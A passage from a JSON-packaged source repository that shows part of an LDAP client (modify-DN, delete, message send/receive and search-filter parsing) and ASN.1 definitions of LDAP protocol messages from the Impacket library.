newSuperior: New superior DN if moving the entry to a different container\n        :param controls: LDAP controls to include in the request\n        :return: True if the DN was modified successfully, else raises LDAPSessionError\n        \"\"\"\n        modifyDNRequest = ModifyDNRequest()\n        modifyDNRequest['entry'] = dn\n        modifyDNRequest['newrdn'] = newrdn\n        modifyDNRequest['deleteoldrdn'] = deleteoldrdn\n        if newSuperior is not None:\n            modifyDNRequest['newSuperior'] = newSuperior\n\n        response = self.sendReceive(modifyDNRequest, controls)[0]['protocolOp']\n        if response['modDNResponse']['resultCode'] != ResultCode('success'):\n            raise LDAPSessionError(\n                error=int(response['modDNResponse']['resultCode']),\n                errorString=f\"Error in modifyDNRequest -> {response['modDNResponse']['resultCode'].prettyPrint()}: {response['modDNResponse']['diagnosticMessage']}\"\n            )\n        return True\n\n    def delete(self, dn, controls=None):\n        \"\"\"\n        Delete an entry from the LDAP directory.\n        RFC 4511 Section 4.8\n\n        :param dn: Distinguished Name of the entry to delete\n        :param controls: LDAP controls to include in the request\n        :return: True if the entry was deleted successfully, else raises LDAPSessionError\n        \"\"\"\n        deleteRequest = DelRequest(dn)\n\n        response = self.sendReceive(deleteRequest, controls)[0]['protocolOp']\n        if response['delResponse']['resultCode'] != ResultCode('success'):\n            raise LDAPSessionError(\n                error=int(response['delResponse']['resultCode']),\n                errorString=f\"Error in deleteRequest -> {response['delResponse']['resultCode'].prettyPrint()}: {response['delResponse']['diagnosticMessage']}\"\n            )\n        return True\n\n    def close(self):\n        if self._socket is not None:\n            self._socket.close()\n\n    def send(self, request, controls=None):\n        message = LDAPMessage()\n        message['messageID'] = random.randrange(1, 2147483647)\n        message['protocolOp'].setComponentByType(request.getTagSet(), request)\n        if controls is not None:\n            message['controls'].setComponents(*controls)\n\n        data = encoder.encode(message)\n\n        if self.__binded and self.__signing:\n            data = self.encrypt(data)\n            self.sequenceNumber += 1\n        return self._socket.sendall(data)\n\n    def recv_raw(self):\n        REQUEST_SIZE = 8192\n        data = b''\n        done = False\n        while not done:\n            recvData = self._socket.recv(REQUEST_SIZE)\n            if len(recvData) < REQUEST_SIZE:\n                done = True\n            data += recvData\n\n        if self.__binded and self.__signing: # we need to decrypt every TCP frames, all at once\n            message_length = struct.unpack('!I', data[:4])[0]\n\n            while message_length != len(data) - 4:\n                done = False\n                while not done:\n                    recvData = self._socket.recv(REQUEST_SIZE)\n                    if len(recvData) < REQUEST_SIZE:\n                        done = True\n                    data += recvData\n\n            data = self.decrypt(data)\n\n        return data\n\n    def recv(self):\n        response = []\n        data = self.recv_raw()\n        while len(data) > 0:\n            try:\n                # need to decrypt before\n                message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())\n            except SubstrateUnderrunError:\n                # We need more data\n                remaining = data + self.recv_raw() \n            else:\n                if message['messageID'] == 0:  # unsolicited notification\n                    name = message['protocolOp']['extendedResp']['responseName'] or message['responseName']\n                    notification = KNOWN_NOTIFICATIONS.get(name, \"Unsolicited Notification '%s'\" % name)\n                    if name == NOTIFICATION_DISCONNECT:  # Server has disconnected\n                        self.close()\n                    raise LDAPSessionError(\n                        error=int(message['protocolOp']['extendedResp']['resultCode']),\n                        errorString='%s -> %s: %s' % (notification,\n                                                      message['protocolOp']['extendedResp']['resultCode'].prettyPrint(),\n                                                      message['protocolOp']['extendedResp']['diagnosticMessage'])\n                    )\n                response.append(message)\n            data = remaining\n\n        return response\n\n    def sendReceive(self, request, controls=None):\n        self.send(request, controls)\n        return self.recv()\n\n    def _parseFilter(self, filterStr):\n        filterList = list(reversed(filterStr))\n        searchFilter = self._consumeCompositeFilter(filterList)\n        if filterList:  # we have not consumed the whole filter string\n            raise LDAPFilterSyntaxError(\"unexpected token: '%s'\" % filterList[-1])\n        return searchFilter\n\n    def _consumeCompositeFilter(self, filterList):\n        try:\n            c = filterList.pop()\n        except IndexError:\n            raise LDAPFilterSyntaxError('EOL while parsing search filter')\n        if c != '(':  # filter must start with a '('\n            filterList.append(c)\n            raise LDAPFilterSyntaxError(\"unexpected token: '%s'\" % c)\n\n        try:\n            operator = filterList.pop()\n        except IndexError:\n            raise LDAPFilterSyntaxError('EOL while parsing search filter')\n        if operator not in ['!', '&', '|']:  # must be simple filter in this case\n            filterList.extend([operator, c])\n            return self._consumeSimpleFilter(filterList)\n\n        filters = []\n        while True:\n            try:\n                filters.append(self._consumeCompositeFilter(filterList))\n            except LDAPFilterSyntaxError:\n                break\n\n        try:\n            c = filterList.pop()\n        except IndexError:\n            raise LDAPFilterSyntaxError('EOL while parsing search filter')\n        if c != ')':  # filter must end with a ')'\n            filterList.append(c)\n            raise LDAPFilterSyntaxError(\"unexpected token: '%s'\" % c)\n\n        return self._compileCompositeFilter(operator, filters)\n\n    def _consumeSimpleFilter(self, filterList):\n        try:\n            c = filterList.pop()\n        except IndexError:\n            raise LDAPFilterSyntaxError('EOL while parsing search filter')\n        if c != '(':  # filter must start with a '('\n            filterList.append(c)\n            raise LDAPFilterSyntaxError(\"unexpected token: '%s'\" % c)\n\n        filter = []\n        while True:\n            try:\n                c = filterList.pop()\n            except IndexError:\n                raise LDAPFilterSyntaxError('EOL while parsing search filter')\n            if c == ')':  # we pop till we find a ')'\n                break\n            elif c == '(':  # should be no unencoded parenthesis\n                filterList.append(c)\n                raise LDAPFilterSyntaxError(\"unexpected token: '('\")\n            else:\n                filter.append(c)\n\n        filterStr = ''.join(filter)\n        try:\n            # https://tools.ietf.org/search/rfc4515#section-3\n            attribute, operator, value = RE_OPERATOR.split(filterStr, 1)\n        except ValueError:\n            raise LDAPFilterInvalidException(\"invalid filter: '(%s)'\" % filterStr)\n\n        return self._compileSimpleFilter(attribute, operator, value)\n\n    @staticmethod\n    def _compileCompositeFilter(operator, filters):\n        searchFilter = Filter()\n        if operator == '!':\n            if len(filters) != 1:\n                raise LDAPFilterInvalidException(\"'not' filter must have exactly one element\")\n            searchFilter['not'].setComponents(*filters)\n        elif operator == '&':\n            if len(filters) == 0:\n                raise LDAPFilterInvalidException(\"'and' filter must have at least one element\")\n            searchFilter['and'].setComponents(*filters)\n        elif operator == '|':\n            if len(filters) == 0:\n                raise LDAPFilterInvalidException(\"'or' filter must have at least one element\")\n            searchFilter['or'].setComponents(*filters)\n\n        return searchFilter\n\n    @staticmethod\n    def _compileSimpleFilter(attribute, operator, value):\n        searchFilter = Filter()\n        if operator == ':=':  # extensibleMatch\n            match = RE_EX_ATTRIBUTE_1.match(attribute) or RE_EX_ATTRIBUTE_2.match(attribute)\n            if not match:\n                raise LDAPFilterInvalidException(\"invalid filter attribute: '%s'\" % attribute)\n            attribute, dn, matchingRule = match.groups()\n            if attribute:\n                searchFilter['extensibleMatch']['type'] = attribute\n            if dn:\n                searchFilter['extensibleMatch']['dnAttributes'] = bool(dn)\n            if matchingRule:\n                searchFilter['extensibleMatch']['matchingRule'] = matchingRule\n            searchFilter['extensibleMatch']['matchValue'] = LDAPConnection._processLdapString(value)\n        else:\n            if not RE_ATTRIBUTE.match(attribute):\n                raise LDAPFilterInvalidException(\"invalid filter attribute: '%s'\" % attribute)\n            if value == '*' and operator == '=':  # present\n                searchFilter['present'] = attribute\n            elif '*' in value and operator == '=':  # substring\n                assertions = [LDAPConnection._processLdapString(assertion) for assertion in value.split('*')]\n                choice = searchFilter['substrings']['substrings'].getComponentType()\n                substrings = []\n                if assertions[0]:\n                    substrings.append(choice.clone().setComponentByName('initial', assertions[0]))\n                for assertion in assertions[1:-1]:\n                    substrings.append(choice.clone().setComponentByName('any', assertion))\n                if assertions[-1]:\n                    substrings.append(choice.clone().setComponentByName('final', assertions[-1]))\n                searchFilter['substrings']['type'] = attribute\n                searchFilter['substrings']['substrings'].setComponents(*substrings)\n            elif '*' not in value:  # simple\n                value = LDAPConnection._processLdapString(value)\n                if operator == '=':\n                    searchFilter['equalityMatch'].setComponents(attribute, value)\n                elif operator == '~=':\n                    searchFilter['approxMatch'].setComponents(attribute, value)\n                elif operator == '>=':\n                    searchFilter['greaterOrEqual'].setComponents(attribute, value)\n                elif operator == '<=':\n                    searchFilter['lessOrEqual'].setComponents(attribute, value)\n            else:\n                raise LDAPFilterInvalidException(\"invalid filter '(%s%s%s)'\" % (attribute, operator, value))\n\n        return searchFilter\n\n\n    @classmethod\n    def _processLdapString(cls, ldapstr):\n        def replace_escaped_chars(match):\n            return chr(int(match.group(1), 16))  # group(1) == \"XX\" (valid hex)\n\n        escaped_chars = re.compile(r'\\\\([0-9a-fA-F]{2})')  # Capture any sequence of \"\\XX\" (where XX is a valid hex)\n        return re.sub(escaped_chars, replace_escaped_chars, ldapstr)\n\n\nclass LDAPFilterSyntaxError(SyntaxError):\n    pass\n\n\nclass LDAPFilterInvalidException(Exception):\n    pass\n\n\nclass LDAPSessionError(Exception):\n    \"\"\"\n    This is the exception every client should catch\n    \"\"\"\n\n    def __init__(self, error=0, packet=0, errorString=''):\n        Exception.__init__(self)\n        self.error = error\n        self.packet = packet\n        self.errorString = errorString\n\n    def getErrorCode(self):\n        return self.error\n\n    def getErrorPacket(self):\n        return self.packet\n\n    def getErrorString(self):\n        return self.errorString\n\n    def __str__(self):\n        return self.errorString\n\n\nclass LDAPSearchError(LDAPSessionError):\n    def __init__(self, error=0, packet=0, errorString='', answers=None):\n        LDAPSessionError.__init__(self, error, packet, errorString)\n        if answers is None:\n            answers = []\n        self.answers = answers\n\n    def getAnswers(self):\n        return self.answers\n"
  },
  {
    "path": "impacket/ldap/ldapasn1.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   RFC 4511 Minimalistic implementation. We don't need much functionality yet\n#   If we need more complex use cases we might opt to use a third party implementation\n#   Keep in mind the APIs are still unstable, might require to re-write your scripts\n#   as we change them.\n#   Adding [MS-ADTS] specific functionality\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Kacper Nowak (@kacpern)\n#\nfrom pyasn1.codec.ber import encoder, decoder\nfrom pyasn1.type import univ, namedtype, namedval, tag, constraint\n\n__all__ = [\n    'CONTROL_PAGEDRESULTS', 'CONTROL_SDFLAGS', 'KNOWN_CONTROLS', 'NOTIFICATION_DISCONNECT', 'KNOWN_NOTIFICATIONS',\n    # classes\n    'ResultCode', 'Scope', 'DerefAliases', 'Operation', 'MessageID', 'LDAPString', 'LDAPOID', 'LDAPDN',\n    'RelativeLDAPDN', 'AttributeDescription', 'AttributeValue', 'AssertionValue', 'MatchingRuleID', 'URI',\n    'AttributeValueAssertion', 'PartialAttribute', 'PartialAttributeList', 'Attribute', 'AttributeList',\n    'AttributeSelection', 'Referral', 'LDAPResult', 'SaslCredentials', 'AuthenticationChoice', 'BindRequest',\n    'BindResponse', 'UnbindRequest', 'SubstringFilter', 'MatchingRuleAssertion', 'Filter', 'SearchRequest',\n    'SearchResultEntry', 'SearchResultReference', 'SearchResultDone', 'ModifyRequest', 'ModifyResponse', 'AddRequest',\n    'AddResponse', 'DelRequest', 'DelResponse', 'ModifyDNRequest', 'ModifyDNResponse', 'CompareRequest',\n    'CompareResponse', 'AbandonRequest', 'ExtendedRequest', 'ExtendedResponse', 'IntermediateResponse', 'Control',\n    'Controls', 'SimplePagedResultsControlValue', 'SimplePagedResultsControl', 'LDAPMessage'\n]\n\n# Controls\nCONTROL_PAGEDRESULTS = '1.2.840.113556.1.4.319'\nCONTROL_SDFLAGS = '1.2.840.113556.1.4.801'\n\nKNOWN_CONTROLS = {}\n\n# Unsolicited notifications\nNOTIFICATION_DISCONNECT = '1.3.6.1.4.1.1466.20036'\n\nKNOWN_NOTIFICATIONS = {NOTIFICATION_DISCONNECT: 'Notice of Disconnection'}\n\nmaxInt = univ.Integer(2147483647)\n\n\nclass DefaultSequenceAndSetBaseMixin:\n    def getComponentByPosition(self, idx, default=univ.noValue, instantiate=True):\n        for cls in self.__class__.__bases__:\n            if cls is not DefaultSequenceAndSetBaseMixin:\n                try:\n                    component = cls.getComponentByPosition(self, idx)#, default, instantiate)\n                except AttributeError:\n                    continue\n                if component is None:\n                    return self.setComponentByPosition(idx).getComponentByPosition(idx)# , default, instantiate)\n                return component\n\n\nclass ResultCode(univ.Enumerated):\n    namedValues = namedval.NamedValues(\n        ('success', 0),\n        ('operationsError', 1),\n        ('protocolError', 2),\n        ('timeLimitExceeded', 3),\n        ('sizeLimitExceeded', 4),\n        ('compareFalse', 5),\n        ('compareTrue', 6),\n        ('authMethodNotSupported', 7),\n        ('strongerAuthRequired', 8),\n        ('referral', 10),\n        ('adminLimitExceeded', 11),\n        ('unavailableCriticalExtension', 12),\n        ('confidentialityRequired', 13),\n        ('saslBindInProgress', 14),\n        ('noSuchAttribute', 16),\n        ('undefinedAttributeType', 17),\n        ('inappropriateMatching', 18),\n        ('constraintViolation', 19),\n        ('attributeOrValueExists', 20),\n        ('invalidAttributeSyntax', 21),\n        ('noSuchObject', 32),\n        ('aliasProblem', 33),\n        ('invalidDNSyntax', 34),\n        ('aliasDereferencingProblem', 36),\n        ('inappropriateAuthentication', 48),\n        ('invalidCredentials', 49),\n        ('insufficientAccessRights', 50),\n        ('busy', 51),\n        ('unavailable', 52),\n        ('unwillingToPerform', 53),\n        ('loopDetect', 54),\n        ('namingViolation', 64),\n        ('objectClassViolation', 65),\n        ('notAllowedOnNonLeaf', 66),\n        ('notAllowedOnRDN', 67),\n        ('entryAlreadyExists', 68),\n        ('objectClassModsProhibited', 69),\n        ('affectsMultipleDSAs', 71),\n        ('other', 80),\n    )\n\n\nclass Scope(univ.Enumerated):\n    namedValues = namedval.NamedValues(\n        ('baseObject', 0),\n        ('singleLevel', 1),\n        ('wholeSubtree', 2),\n    )\n\n\nclass DerefAliases(univ.Enumerated):\n    namedValues = namedval.NamedValues(\n        ('neverDerefAliases', 0),\n        ('derefInSearching', 1),\n        ('derefFindingBaseObj', 2),\n        ('derefAlways', 3),\n    )\n\n\nclass Operation(univ.Enumerated):\n    namedValues = namedval.NamedValues(\n        ('add', 0),\n        ('delete', 1),\n        ('replace', 2),\n    )\n\n\nclass MessageID(univ.Integer):\n    subtypeSpec = constraint.ValueRangeConstraint(0, maxInt)\n\n\nclass LDAPString(univ.OctetString):\n    # LDAPString ::= OCTET STRING -- UTF-8 encoded, -- [ISO10646] characters\n    encoding = 'utf-8'\n\n\nclass LDAPOID(univ.OctetString):\n    pass\n\n\nclass LDAPDN(LDAPString):\n    pass\n\n\nclass RelativeLDAPDN(LDAPString):\n    pass\n\n\nclass AttributeDescription(LDAPString):\n    pass\n\n\nclass AttributeValue(univ.OctetString):\n    # AttributeValue ::= OCTET STRING\n    encoding = 'utf-8'\n\n\nclass AssertionValue(univ.OctetString):\n    # AssertionValue ::= OCTET STRING\n    encoding = 'utf-8'\n\n\nclass MatchingRuleID(LDAPString):\n    pass\n\n\nclass URI(LDAPString):\n    pass\n\n\nclass AttributeValueAssertion(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('attributeDesc', AttributeDescription()),\n        namedtype.NamedType('assertionValue', AssertionValue())\n    )\n\n\nclass PartialAttribute(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('type', AttributeDescription()),\n        namedtype.NamedType('vals', univ.SetOf(componentType=AttributeValue()))\n    )\n\n\nclass PartialAttributeList(univ.SequenceOf):\n    componentType = PartialAttribute()\n\n\nclass Attribute(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('type', AttributeDescription()),\n        namedtype.NamedType(\n            'vals',\n            univ.SetOf(componentType=AttributeValue()).subtype(subtypeSpec=constraint.ValueSizeConstraint(1, maxInt))\n        )\n    )\n\n\nclass AttributeList(univ.SequenceOf):\n    componentType = Attribute()\n\n\nclass AttributeSelection(univ.SequenceOf):\n    componentType = LDAPString()\n\n\nclass Referral(univ.SequenceOf):\n    componentType = URI()\n    subtypeSpec = constraint.ValueSizeConstraint(1, maxInt)\n\n\nclass LDAPResult(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('resultCode', ResultCode()),\n        namedtype.NamedType('matchedDN', LDAPDN()),\n        namedtype.NamedType('diagnosticMessage', LDAPString()),\n        namedtype.OptionalNamedType(\n            'referral', Referral().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 3))\n        )\n    )\n\n\nclass SaslCredentials(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('mechanism', LDAPString()),\n        namedtype.OptionalNamedType('credentials', univ.OctetString())\n    )\n\n\nclass AuthenticationChoice(DefaultSequenceAndSetBaseMixin, univ.Choice):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType(\n            'simple',\n            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))\n        ),\n        namedtype.NamedType(\n            'sasl',\n            SaslCredentials().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 3))\n        ),\n        namedtype.NamedType(\n            'sicilyPackageDiscovery',\n            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 9))\n        ),\n        namedtype.NamedType(\n            'sicilyNegotiate',\n            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 10))\n        ),\n        namedtype.NamedType(\n            'sicilyResponse',\n            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 11))\n        )\n    )\n\n\nclass BindRequest(DefaultSequenceAndSetBaseMixin, univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('version', univ.Integer().subtype(subtypeSpec=constraint.ValueRangeConstraint(1, 127))),\n        namedtype.NamedType('name', LDAPDN()),\n        namedtype.NamedType('authentication', AuthenticationChoice())\n    )\n\n\nclass BindResponse(univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 1))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('resultCode', ResultCode()),\n        namedtype.NamedType('matchedDN', LDAPDN()),\n        namedtype.NamedType('diagnosticMessage', LDAPString()),\n        namedtype.OptionalNamedType(\n            'referral',\n            Referral().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 3))\n        ),\n        namedtype.OptionalNamedType(\n            'serverSaslCreds',\n            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 7))\n        )\n    )\n\n\nclass UnbindRequest(univ.Null):\n    tagSet = univ.Null.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatSimple, 2))\n\n\nclass SubstringFilter(DefaultSequenceAndSetBaseMixin, univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('type', AttributeDescription()),\n        namedtype.NamedType(\n            'substrings',\n            univ.SequenceOf(componentType=univ.Choice(componentType=namedtype.NamedTypes(\n                namedtype.NamedType(\n                    'initial',\n                    AssertionValue().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))\n                ),\n                namedtype.NamedType(\n                    'any',\n                    AssertionValue().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))\n                ),\n                namedtype.NamedType(\n                    'final',\n                    AssertionValue().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 2))\n                )\n            )))\n        )\n    )\n\n\nclass MatchingRuleAssertion(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.OptionalNamedType(\n            'matchingRule',\n            MatchingRuleID().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))\n        ),\n        namedtype.OptionalNamedType(\n            'type',\n            AttributeDescription().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 2))\n        ),\n        namedtype.NamedType(\n            'matchValue',\n            AssertionValue().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 3))\n        ),\n        namedtype.DefaultedNamedType(\n            'dnAttributes',\n            univ.Boolean().subtype(value=False, implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 4))\n        )\n    )\n\n\nclass Filter(DefaultSequenceAndSetBaseMixin, univ.Choice):\n    pass\n\n\nFilter.componentType = namedtype.NamedTypes(\n    namedtype.NamedType(\n        'and',\n        univ.SetOf(componentType=Filter()).subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))\n    ),\n    namedtype.NamedType(\n        'or',\n        univ.SetOf(componentType=Filter()).subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))\n    ),\n    namedtype.NamedType(\n        'not',\n        univ.SetOf(componentType=Filter()).subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 2))\n        #Filter().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 2))\n    ),\n    namedtype.NamedType(\n        'equalityMatch',\n        AttributeValueAssertion().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 3))\n    ),\n    namedtype.NamedType(\n        'substrings',\n        SubstringFilter().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 4))\n    ),\n    namedtype.NamedType(\n        'greaterOrEqual',\n        AttributeValueAssertion().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 5))\n    ),\n    namedtype.NamedType(\n        'lessOrEqual',\n        AttributeValueAssertion().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 6))\n    ),\n    namedtype.NamedType(\n        'present',\n        AttributeDescription().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 7))\n    ),\n    namedtype.NamedType(\n        'approxMatch',\n        AttributeValueAssertion().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 8))\n    ),\n    namedtype.NamedType(\n        'extensibleMatch',\n        MatchingRuleAssertion().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 9))\n    )\n)\n\n\nclass SearchRequest(DefaultSequenceAndSetBaseMixin, univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 3))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('baseObject', LDAPDN()),\n        namedtype.NamedType('scope', Scope()),\n        namedtype.NamedType('derefAliases', DerefAliases()),\n        namedtype.NamedType(\n            'sizeLimit', univ.Integer().subtype(subtypeSpec=constraint.ValueRangeConstraint(0, maxInt))\n        ),\n        namedtype.NamedType(\n            'timeLimit', univ.Integer().subtype(subtypeSpec=constraint.ValueRangeConstraint(0, maxInt))\n        ),\n        namedtype.NamedType('typesOnly', univ.Boolean()),\n        namedtype.NamedType('filter', Filter()),\n        namedtype.NamedType('attributes', AttributeSelection())\n    )\n\n\nclass SearchResultEntry(univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 4))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('objectName', LDAPDN()),\n        namedtype.NamedType('attributes', PartialAttributeList())\n    )\n\n\nclass SearchResultReference(univ.SequenceOf):\n    tagSet = univ.SequenceOf.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatSimple, 19))\n    componentType = URI()\n    subtypeSpec = constraint.ValueSizeConstraint(1, maxInt)\n\n\nclass SearchResultDone(LDAPResult):\n    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 5))\n\n\nclass ModifyRequest(DefaultSequenceAndSetBaseMixin, univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 6))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('object', LDAPDN()),\n        namedtype.NamedType(\n            'changes',\n            univ.SequenceOf(componentType=univ.Sequence(componentType=namedtype.NamedTypes(\n                namedtype.NamedType('operation', Operation()),\n                namedtype.NamedType('modification', PartialAttribute())\n            )))\n        )\n    )\n\n\nclass ModifyResponse(LDAPResult):\n    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 7))\n\n\nclass AddRequest(DefaultSequenceAndSetBaseMixin, univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 8))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('entry', LDAPDN()),\n        namedtype.NamedType('attributes', AttributeList())\n    )\n\n\nclass AddResponse(LDAPResult):\n    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 9))\n\n\nclass DelRequest(LDAPDN):\n    tagSet = LDAPDN.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatSimple, 10))\n\n\nclass DelResponse(LDAPResult):\n    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 11))\n\n\nclass ModifyDNRequest(univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 12))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('entry', LDAPDN()),\n        namedtype.NamedType('newrdn', RelativeLDAPDN()),\n        namedtype.NamedType('deleteoldrdn', univ.Boolean()),\n        namedtype.OptionalNamedType(\n            'newSuperior', LDAPDN().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))\n        )\n    )\n\n\nclass ModifyDNResponse(LDAPResult):\n    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 13))\n\n\nclass CompareRequest(DefaultSequenceAndSetBaseMixin, univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 14))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('entry', LDAPDN()),\n        namedtype.NamedType('ava', AttributeValueAssertion())\n    )\n\n\nclass CompareResponse(LDAPResult):\n    tagSet = LDAPResult.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 15))\n\n\nclass AbandonRequest(MessageID):\n    tagSet = MessageID.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatSimple, 16))\n\n\nclass ExtendedRequest(univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 23))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType(\n            'requestName', LDAPOID().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))\n        ),\n        namedtype.OptionalNamedType(\n            'requestValue', univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))\n        )\n    )\n\n\nclass ExtendedResponse(univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 24))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('resultCode', ResultCode()),\n        namedtype.NamedType('matchedDN', LDAPDN()),\n        namedtype.NamedType('diagnosticMessage', LDAPString()),\n        namedtype.OptionalNamedType(\n            'referral',\n            Referral().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 3))\n        ),\n        namedtype.OptionalNamedType(\n            'responseName',\n            LDAPOID().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 10))\n        ),\n        namedtype.OptionalNamedType(\n            'responseValue',\n            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 11))\n        )\n    )\n\n\nclass IntermediateResponse(univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 25))\n    componentType = namedtype.NamedTypes(\n        namedtype.OptionalNamedType(\n            'responseName',\n            LDAPOID().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))\n        ),\n        namedtype.OptionalNamedType(\n            'responseValue',\n            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))\n        )\n    )\n\n\nclass Control(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('controlType', LDAPOID()),\n        namedtype.DefaultedNamedType('criticality', univ.Boolean().subtype(value=False)),\n        namedtype.OptionalNamedType('controlValue', univ.OctetString())\n    )\n\n    def setComponentByPosition(self, idx, value=univ.noValue,\n                               verifyConstraints=True,\n                               matchTags=True,\n                               matchConstraints=True):\n        if idx == 0:  # controlType\n            try:\n                cls = KNOWN_CONTROLS[value]\n                if self.__class__ is not cls:\n                    self.__class__ = cls\n            except KeyError:\n                pass\n        return univ.Sequence.setComponentByPosition(self, idx, value=value,\n                                                    verifyConstraints=verifyConstraints,\n                                                    matchTags=matchTags,\n                                                    matchConstraints=matchConstraints)\n\n    def encodeControlValue(self):\n        pass\n\n    def decodeControlValue(self):\n        return\n\n    def prettyPrint(self, scope=0):\n        r = univ.Sequence.prettyPrint(self, scope)\n        decodedControlValue = self.decodeControlValue()\n        